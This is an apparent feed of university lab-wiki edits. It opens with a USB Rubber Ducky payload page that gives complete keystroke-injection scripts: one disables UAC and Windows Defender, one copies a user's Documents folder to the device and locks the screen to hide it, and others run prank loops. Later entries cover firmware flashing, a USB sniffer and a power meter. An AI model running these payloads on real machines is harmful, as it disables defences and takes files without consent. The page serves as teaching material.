&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
Like in all programming languages a basic hello world can be used to get to know the basic functionalities of the system. The following code is used to make a Windows PC open notepad, write “Hello World!” in large letters and save the file to the default directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 2000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING c:\windows\notepad.exe&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
ALT o&lt;br /&gt;
STRING f&lt;br /&gt;
TAB&lt;br /&gt;
TAB&lt;br /&gt;
STRING 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Hello World!&lt;br /&gt;
CTRL s&lt;br /&gt;
STRING totallynotavirus.txt&lt;br /&gt;
ENTER&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disable Windows Defender ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script is used to disable Windows User Account Control first and then disable all functionalities of the Windows Defender. This could be potentially used to prepare for a second stage of a multi-stage attack. It makes heavy use of menu navigation (Arrow keys, Tabs) and the Windows 10 Search menu. The value of the DELAY commands could be further reduced if used on a fast target host. Note that the script leaves no open windows after concluding its actions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
REM Disabling User Account Control&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING uac&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
REM Disabling Windows Defender&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING virus pro&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
ALT F4	&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy Documents Folder to Ducky ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Twin Duck&lt;br /&gt;
&lt;br /&gt;
Before using this script, the USB Rubber Ducky must be updated with the Twin Duck firmware. Using this firmware, the Rubber Ducky acts both as a HID keyboard and a USB storage device. The script uses the Windows “Run” command to open the “Documents” directory and copies all its contents to the storage portion of the Ducky. Note that this script assumes that the storage device will be assigned the drive letter D and must be adjusted if reconnaissance shows another letter would be more likely. The script ends with locking the screen to better hide the copying process.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 300&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 100&lt;br /&gt;
STRING documents&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL a&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL c&lt;br /&gt;
DELAY 100&lt;br /&gt;
ALT F4&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 300&lt;br /&gt;
STRING d:\&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL v&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI D&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI l&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fake Update Screen ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script launches the site fakeupdate.net/win10ue in the systems default internet browser and sets it to Fullscreen mode. This simulates the Windows 10 Update Screen, and it can’t be easily exited by hitting the Escape-key. Hitting the Enter-key results in a fake Bluescreen.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING https://www.fakeupdate.net/win10ue/&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
F11&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Maximum Volume Autoplay Audio ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script showcases how Ducky Script can use the console to create Visual Basic Script files (*.vbs) that can loop code indefinitely. It uses the “copy con” command to create two script files. The first script file is used to create a Windows Media Player object to play a sound file from start to finish from a provided online source. The second script creates a Windows Script Host Shell object that gives the “Volume Up”-command in an endless loop. The only way to end these scripts is by using the task manager or to restart the system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cmd&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING del %tmp%\rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING del %tmp%\volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cd %tmp% &amp;amp;&amp;amp; copy con rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While true&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Dim oPlayer&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set oPlayer = CreateObject(&amp;quot;WMPlayer.OCX&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.URL = &amp;quot;http://tinyurl.com/s63ve48&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.controls.play&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While oPlayer.playState &amp;lt;&amp;gt; 1 &#039; 1 = Stopped&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WScript.Sleep 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.close&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING copy con volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING do&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set WshShell = CreateObject(&amp;quot;WScript.Shell&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WshShell.SendKeys(chr(&amp;amp;hAF))&lt;br /&gt;
ENTER&lt;br /&gt;
STRING loop&lt;br /&gt;
ENTER&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING start rickyou.vbs &amp;amp;&amp;amp; volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* USB Rubber Ducky&lt;br /&gt;
* Windows 10 PC&lt;br /&gt;
* Ubuntu Linux 20.04 Virtual Machine&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Hak5 Rubber Ducky]]&lt;br /&gt;
* [[USB Rubber Ducky – Firmware Update]]&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://shop.hak5.org/products/usb-rubber-ducky-deluxe&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Firmware_Update&amp;diff=10226</id>
		<title>USB Rubber Ducky: Firmware Update</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Firmware_Update&amp;diff=10226"/>
		<updated>2022-07-06T13:49:10Z</updated>

		<summary type="html">&lt;p&gt;BVogler: documentation created&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This article consists of a short guide on changing or updating the USB Rubber Ducky firmware. It is intended as a supplement to the existing online guides since those are partly out of date.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Host PC running Ubuntu Linux or a Virtual Machine (tested on 20.04 LTS)&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
We will be using the Ducky-Flasher utility by kmichael500 which is provided here (https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#DuckyFlasher_Utility) and we will make certain adjustments to get it to run on a modern Ubuntu Linux system. The afore mentioned guide also provides ways to update firmware on Windows or OSX, but we could not get those to work on current Operating Systems.&lt;br /&gt;
&lt;br /&gt;
# Install dfu-programmer&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;apt-get install dfu-programmer&amp;lt;/code&amp;gt;&lt;br /&gt;
# Install Python 2.x&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;apt-get install python2&amp;lt;/code&amp;gt;&lt;br /&gt;
# Download and unzip Ducky-Flasher&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;wget https://github.com/hak5darren/USB-Rubber-Ducky/raw/master/Flash/ducky-flasher1.0.zip&amp;lt;/code&amp;gt;&amp;lt;br/&amp;gt;unzip ducky-flasher1.0.zip&lt;br /&gt;
# Open ducky-flasher with your favourite text editor and change the Shebang to &amp;lt;code&amp;gt;#!/usr/bin/env python2&amp;lt;/code&amp;gt;&lt;br /&gt;
# (optional) Ducky-Flasher provides four different firmware images (Original, FAT Duck, Detour Duck and Twin Duck).&amp;lt;br/&amp;gt;If you want to use a different firmware image you can either rename the file and overwrite to the corresponding file in the ducky-flasher/firmware directory or modify the Ducky-Flasher program itself to add new firmware. Firmware images can be found [https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/Firmware/Images here].&lt;br /&gt;
# Install the Ducky-Flasher&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;sudo python2 setup.py&amp;lt;/code&amp;gt;&lt;br /&gt;
# Connect the Rubber Ducky in DFU mode by keeping the button pressed while plugging it in.&lt;br /&gt;
# Start the Ducky-Flasher and follow the instructions&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;sudo ducky-flasher&amp;lt;/code&amp;gt;&lt;br /&gt;
# (optional) Uninstall the Ducky-Flasher&amp;lt;br/&amp;gt;&amp;lt;code&amp;gt;sudo python2 uninstall.py&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Hak5_Rubber_Ducky]]&lt;br /&gt;
* [[USB Rubber Ducky - Payloads]]&lt;br /&gt;
* https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#DuckyFlasher_Utility&lt;br /&gt;
* https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/Firmware/Images&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=BugBlat_EzSniffer_USB_Protocol_Analyzer&amp;diff=10225</id>
		<title>BugBlat EzSniffer USB Protocol Analyzer</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=BugBlat_EzSniffer_USB_Protocol_Analyzer&amp;diff=10225"/>
		<updated>2022-07-06T13:37:15Z</updated>

		<summary type="html">&lt;p&gt;BVogler: documentation created&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
The BugBlat EzSniffer USB Protocol Analyzer is as easy to use, small form factor USB Protocol Analyzer / Packet Sniffer that is also easy to set up. It uses USB 2.0 technology with micro-B, mini-B and USB-A type ports. It can capture up to 256 MB of traffic at a time. The companion application is easy to use, easy to set up and provides additional information concerning the captured packets. The EzSniffer is best suited to capture regular data transfers (e.g., thumbdrives) but cannot capture data from input devices like an USB mouse. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
Analysis host&lt;br /&gt;
* USB Type A socket&lt;br /&gt;
* USB Type A to USB mini-B cable (included in EzSniffer plus EZ-USB Package)&lt;br /&gt;
Sniffed USB Connection&lt;br /&gt;
* Type A to Type micro-B cable for connection to the host&lt;br /&gt;
* Type A to Type A cable for connection to the chosen device&lt;br /&gt;
&lt;br /&gt;
[[File:ezSniffer_host.jpg|thumb|none|500px|Host and analysis port]]&lt;br /&gt;
&lt;br /&gt;
[[File:ezSniffer_device.jpg|thumb|none|500px|Device port]]&lt;br /&gt;
&lt;br /&gt;
Software&lt;br /&gt;
* [https://www.bugblat.com/products/ezsniff/index.html EzSniff application] available for Linux/Windows&lt;br /&gt;
* additional [https://zadig.akeo.ie/ driver] necessary for Windows&lt;br /&gt;
** Download the driver above&lt;br /&gt;
** plug in the EzSniffer&lt;br /&gt;
** run the Zadig executable&lt;br /&gt;
** choose “Cypress FX2LP” from the device list (if not shown tick “List All Devices” in Options) (remark: upon testing „unknown device #1“ showed instead of „Cypress FX2LP“ but it worked regardless)&lt;br /&gt;
** select the WinUSB driver&lt;br /&gt;
** click „Replace Driver“&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
After installing the ezSniff application, make sure to that the Analysis computer is connected to the USB Port located on the blue Microcontroller Board (“EZ-USB FX2LP”) and that the blue switch is in the pressed which means its in the “On”-position. Start the application and you will see a default screen where you can see example packets that you can click on to receive additional information in the decode screen on the top right. On the bottom right you can see the raw data displayed.&lt;br /&gt;
&lt;br /&gt;
[[File:ezSniffer_cap_raw.png|thumb|none|1000px|Default screen showing raw data]]&lt;br /&gt;
&lt;br /&gt;
Before trying to capture anything, you should connect a host machine to the host port on the green EzSniffer board and a USB device to the Device side of the board. To start capturing simply click on “Capture” and the capture window will open. Here you can control the connection between host and device and you can set the buffer size for the capture. You can establish and sever the connection between device and host by clicking the respective buttons. Upon starting the capture the device automatically connects. This can be handy to capture a newly forming USB connection. Note that the EzSniffer will capture only data up to the set buffer value. This value can be up to 256 MB and it is set to a default of 32 KB. For our first test we will set this buffer to 4MB and we will try to transmit a .docx file to a regular USB Thumbdrive.&lt;br /&gt;
&lt;br /&gt;
[[File:ezSniffer_cap_start.png|thumb|none|500px|Start of captured data]]&lt;br /&gt;
&lt;br /&gt;
As can be seen the first messages shows the reset that is done by the application before starting the connection. The first packet is a SOF (Start of Frame) packet that denotes the start of a frame and contains a frame number that is incremented. These packets can be hidden by clicking on “Hide SOFs” since they don’t give us much information. All packets that can be seen above are “IN”-packets that signal to the USB Thumbstick that the host whishes to read information. It is also possible to hide NAKs, which are signals that the device temporarily can’t receive data and therefore also not that interesting and you can also hide the packets itself. When hiding packets you get a view that only shows you transactions that subsume the actual packets. Scrolling further down we find the actual data transfer.&lt;br /&gt;
&lt;br /&gt;
Below a early part of the data transfer can be viewed. The first transcation is a control transfer which uses “SETUP”-packet and is in a very simpfified sense used to configure the way the device transfers data. These messages are needed less in the latter parts of the transaction. You can also see an “OUT”-packet  where the device informs the host that it wants to send data. In between the actual data packets (333, 336, 339) can be seen. Every transaction is ended with an “ACK”-packet.&lt;br /&gt;
&lt;br /&gt;
[[File:ezSniffer_cap_data.png|thumb|none|750px|Data transactions]]&lt;br /&gt;
&lt;br /&gt;
A second test using a standard USB mouse was unfortunately inconclusive. The EzSniffer could not capture any actual packets and showed only reset messages. If you need to capture packets other than datapackets you should try the [[Beagle USB 12 Protocol Analyzer]].&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* BugBlat EzSniffer USB Protocol Analyzer&lt;br /&gt;
* Kingston DT50 16GB USB 3.0 Thumbdrive&lt;br /&gt;
* Logitech M100 mouse&lt;br /&gt;
* 2 Windows 10 host PCs&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[EzSniffer USB Protocol Analyzer]]&lt;br /&gt;
* https://www.bugblat.com/products/ezsniff/index.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:EzSniffer_cap_raw.png&amp;diff=10224</id>
		<title>File:EzSniffer cap raw.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:EzSniffer_cap_raw.png&amp;diff=10224"/>
		<updated>2022-07-06T13:33:23Z</updated>

		<summary type="html">&lt;p&gt;BVogler: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:EzSniffer_cap_start.png&amp;diff=10223</id>
		<title>File:EzSniffer cap start.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:EzSniffer_cap_start.png&amp;diff=10223"/>
		<updated>2022-07-06T13:33:15Z</updated>

		<summary type="html">&lt;p&gt;BVogler: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:EzSniffer_cap_data.png&amp;diff=10222</id>
		<title>File:EzSniffer cap data.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:EzSniffer_cap_data.png&amp;diff=10222"/>
		<updated>2022-07-06T13:33:08Z</updated>

		<summary type="html">&lt;p&gt;BVogler: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:EzSniffer_capture_win.png&amp;diff=10221</id>
		<title>File:EzSniffer capture win.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:EzSniffer_capture_win.png&amp;diff=10221"/>
		<updated>2022-07-06T13:33:00Z</updated>

		<summary type="html">&lt;p&gt;BVogler: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:EzSniffer_device.jpg&amp;diff=10220</id>
		<title>File:EzSniffer device.jpg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:EzSniffer_device.jpg&amp;diff=10220"/>
		<updated>2022-07-06T13:19:55Z</updated>

		<summary type="html">&lt;p&gt;BVogler: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:EzSniffer_host.jpg&amp;diff=10219</id>
		<title>File:EzSniffer host.jpg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:EzSniffer_host.jpg&amp;diff=10219"/>
		<updated>2022-07-06T13:19:45Z</updated>

		<summary type="html">&lt;p&gt;BVogler: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Charger_Doctor&amp;diff=10218</id>
		<title>USB Charger Doctor</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Charger_Doctor&amp;diff=10218"/>
		<updated>2022-07-06T13:04:09Z</updated>

		<summary type="html">&lt;p&gt;BVogler: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
The USB Charger Doctor is an voltage and current meter that measures in-line. It supports USB 1.x and 2.x and has no USB 3.x capabilities. Its a handy tool to test USB devices, check load levels and debug battery chargers and boost converters.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* USB type-A connectors to connect the Charger Doctor in-line&lt;br /&gt;
* No additional software required&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
The USB Charger Doctor is easily used by connecting it in-line between a power source and a chargeable device. When connected the display switches between voltage and current every 3 seconds. Following some pictures are provided to illustrate the difference in power delivery between a regular USB 2.0 port on a notebook and a mobile phone power adapter. The smartphone used was at ~90% charge.&lt;br /&gt;
&lt;br /&gt;
=== USB 2.0 Port on a notebook ===&lt;br /&gt;
&lt;br /&gt;
[[File:ChargerDoctor_Adapter_Voltage.jpg|thumb|none|500px|Voltage - using an USB 2.0 Port on a notebook]]&lt;br /&gt;
&lt;br /&gt;
[[File:ChargerDoctor_Adapter_Ampere.jpg|thumb|none|500px|Ampere - using an USB 2.0 Port on a notebook]]&lt;br /&gt;
&lt;br /&gt;
=== Smartphone power adapter ===&lt;br /&gt;
&lt;br /&gt;
[[File:ChargerDoctor_Notebook_Volt.jpg|thumb|none|500px|Voltage - using a common smartphone power adapter]]&lt;br /&gt;
&lt;br /&gt;
[[File:ChargerDoctor_Notebook_Ampere.jpg|thumb|none|500px|Ampere - using a common smartphone power adapter]]&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* USB Charger Doctor&lt;br /&gt;
* Windows 10 Notebook with USB 2.0 port&lt;br /&gt;
* Nokia 7 plus Android Smartphone&lt;br /&gt;
* Nokia AD-18WE Power Adapter&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[CHARGER Doctor USB Power Meter]]&lt;br /&gt;
* https://www.adafruit.com/product/1852&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Charger_Doctor&amp;diff=10217</id>
		<title>USB Charger Doctor</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Charger_Doctor&amp;diff=10217"/>
		<updated>2022-07-06T13:02:44Z</updated>

		<summary type="html">&lt;p&gt;BVogler: fixed images&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
The USB Charger Doctor is and Voltage and Current Meter that measures in-line. It supports USB 1.x and 2.x and has no USB 3.x capabilities. Its a handy tool to test USB devices, check load levels and debug battery chargers and boost converters.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* USB type-A connectors to connect the Charger Doctor in-line&lt;br /&gt;
* No additional software required&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
The USB Charger Doctor is easily used by connecting it in-line between a power source and a chargeable device. When connected the display switches between voltage and current every 3 seconds. Following some pictures are provided to illustrate the difference in power delivery between a regular USB 2.0 port on a PC and a mobile phone power adapter. The smartphone used was at ~90% charge.&lt;br /&gt;
&lt;br /&gt;
=== USB 2.0 Port on a notebook ===&lt;br /&gt;
&lt;br /&gt;
[[File:ChargerDoctor_Adapter_Voltage.jpg|thumb|none|500px|Voltage - using an USB 2.0 Port on a notebook]]&lt;br /&gt;
&lt;br /&gt;
[[File:ChargerDoctor_Adapter_Ampere.jpg|thumb|none|500px|Ampere - using an USB 2.0 Port on a notebook]]&lt;br /&gt;
&lt;br /&gt;
=== Smartphone power adapter ===&lt;br /&gt;
&lt;br /&gt;
[[File:ChargerDoctor_Notebook_Volt.jpg|thumb|none|500px|Voltage - using a common smartphone power adapter]]&lt;br /&gt;
&lt;br /&gt;
[[File:ChargerDoctor_Notebook_Ampere.jpg|thumb|none|500px|Ampere - using a common smartphone power adapter]]&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* USB Charger Doctor&lt;br /&gt;
* Windows 10 Notebook with USB 2.0 port&lt;br /&gt;
* Nokia 7 plus Android Smartphone&lt;br /&gt;
* Nokia AD-18WE Power Adapter&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[CHARGER Doctor USB Power Meter]]&lt;br /&gt;
* https://www.adafruit.com/product/1852&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Charger_Doctor&amp;diff=10216</id>
		<title>USB Charger Doctor</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Charger_Doctor&amp;diff=10216"/>
		<updated>2022-07-06T13:01:46Z</updated>

		<summary type="html">&lt;p&gt;BVogler: documentation created&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
The USB Charger Doctor is and Voltage and Current Meter that measures in-line. It supports USB 1.x and 2.x and has no USB 3.x capabilities. Its a handy tool to test USB devices, check load levels and debug battery chargers and boost converters.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* USB type-A connectors to connect the Charger Doctor in-line&lt;br /&gt;
* No additional software required&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
The USB Charger Doctor is easily used by connecting it in-line between a power source and a chargeable device. When connected the display switches between voltage and current every 3 seconds. Following some pictures are provided to illustrate the difference in power delivery between a regular USB 2.0 port on a PC and a mobile phone power adapter. The smartphone used was at ~90% charge.&lt;br /&gt;
&lt;br /&gt;
=== USB 2.0 Port on a notebook ===&lt;br /&gt;
&lt;br /&gt;
[[File:ChargerDoctor_Adapter_Ampere.jpg|thumb|none|500px|Voltage - using an USB 2.0 Port on a notebook]]&lt;br /&gt;
&lt;br /&gt;
[[File:ChargerDoctor_Adapter_Voltage.jpg|thumb|none|500px|Ampere - using an USB 2.0 Port on a notebook]]&lt;br /&gt;
&lt;br /&gt;
=== Smartphone power adapter ===&lt;br /&gt;
&lt;br /&gt;
[[File:ChargerDoctor_Notebook_Ampere.jpg|thumb|none|500px|Voltage - using a common smartphone power adapter]]&lt;br /&gt;
&lt;br /&gt;
[[File:ChargerDoctor_Notebook_Volt.jpg|thumb|none|500px|Ampere - using a common smartphone power adapter]]&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* USB Charger Doctor&lt;br /&gt;
* Windows 10 Notebook with USB 2.0 port&lt;br /&gt;
* Nokia 7 plus Android Smartphone&lt;br /&gt;
* Nokia AD-18WE Power Adapter&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[CHARGER Doctor USB Power Meter]]&lt;br /&gt;
* https://www.adafruit.com/product/1852&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ChargerDoctor_Notebook_Ampere.jpg&amp;diff=10215</id>
		<title>File:ChargerDoctor Notebook Ampere.jpg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ChargerDoctor_Notebook_Ampere.jpg&amp;diff=10215"/>
